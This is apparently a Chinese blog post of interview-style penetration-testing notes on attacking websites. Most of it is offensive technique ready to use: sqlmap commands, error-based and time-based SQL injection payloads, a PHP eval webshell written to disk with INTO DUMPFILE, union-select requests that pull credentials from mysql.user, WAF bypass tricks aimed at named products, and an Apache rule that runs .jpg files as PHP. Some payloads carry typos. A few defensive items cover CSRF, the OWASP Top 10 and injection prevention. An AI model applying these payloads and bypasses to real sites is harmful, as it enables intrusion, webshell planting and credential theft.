拿到一个网站时如何渗透?No:2


一.sqlmap,怎么对一个注入点注入?

1、如果是get型号,直接,sqlmap -u "可注入点".
2、如果是post型诸如点,可以sqlmap -u "可注入点” --data="post的参数"
3、如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r "文件地址"

2.nmap扫描

-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描。  
-sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况。  
-sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。  
--scanflags <flags>: 定制TCP包的flags。  
-sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)  
-sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况。  
-sO: 使用IP protocol 扫描确定目标机支持的协议类型。  
-b <FTP relay host>: 使用FTP bounce scan扫描方式  
-p <port ranges>: 扫描指定的端口  
-F: Fast mode – 快速模式,仅扫描TOP 100的端口  
-r: 不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)。  
--top-ports <number>:扫描开放概率最高的number个端口
--port-ratio <ratio>: 扫描指定频率以上的端口。与上述--top-ports类似,这里以概率作为参数,让概率大于--port-ratio的端口才被扫描。显然参数必须在在0到1之间,具体范围概率情况可以查看nmap-services文件。 
-sV: 指定让Nmap进行版本侦测  
--version-intensity <level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。  
--version-light: 指定使用轻量侦测方式 (intensity 2)  
--version-all: 尝试使用所有的probes进行侦测 (intensity 9) 
--version-trace: 显示出详细的版本侦测过程信息。

3.sql注入的几种类型?

1、报错注入
2、bool型注入
3、延时注入
4、宽字节注入

4.报错注入的函数有哪些?

1、and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2、通过floor报错 向下取整
3、+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4、.geometrycollection()select from test where id=1 and geometrycollection((select from(select from(select user())a)b));
5、.multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6、.polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7、.multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8、.linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9、.multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10、.exp()select from test where id=1 and exp(~(select from(select user())a));

5.延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

6.盲注和延时注入的共同点?

都是一个字符一个字符的判断

7.如何拿一个网站的webshell?

上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

8.sql注入写文件都有哪些函数?

select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:wwwrootbaidu.comnvhack.php';

9.如何防止CSRF?

1、验证referer
2、验证token
详细:浅谈如何防止csrf攻击

10.OWASPTop10 漏洞都有哪些?

1、SQL注入防护方法:
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发

11.SQL注入防护方法?

1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

12.代码执行,文件读取,命令执行的函数都有哪些?

1、代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2、文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3、命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer
img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。
4、远程服务器修改apache配置文件,配置.jpg文件以php方式来解析
AddType application/x-httpd-php .jpg会以php方式来解析。

13.代码审计

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
1、文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
2、命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

14.绕过waf

1、 关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct。原理:网络层waf对SEL%E%CT进行url解码后变成 SEL%E%CT,匹配select失败,而进入asp.dll对SEL%E%CT进行url解码却变成select。IIS下的asp.dll文件在对 asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。 xss也是同理。
2、通杀的,内联注释。安全狗不拦截,但是安全宝、加速乐、D盾等,看到/!/就Fack了,所以只限于安全狗。比如:/!select*/
3、编码。这个方法对waf很有效果,因为一般waf会解码,但是我们利用这个特点,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以这样bypass的。
4,绕过策略一:伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎
5、360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

GET /pen/news.php?id=1 union select user,password from mysql.user
GET /pen/news.php/admin?id=1 union select user,password from mysql.user
GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user

6、multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。
7、参数绕过,复制参数,id=1&id=1
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格
8、内联注释,
文件上传,复制文件包一份再加一份
在 form-data;后面增加一定的字符

15.宽字符注入

宽字符:解决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比 如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的 是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。

16.思路

根据自己所学的所有,要灵活运用,思路要骚,奇淫巧技能用上就最好,就算最好的工具也要在一个懂得使用它的人手里才会成为神兵!

声明:苏茗鹿的空间|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接


Carpe Diem and Do what I like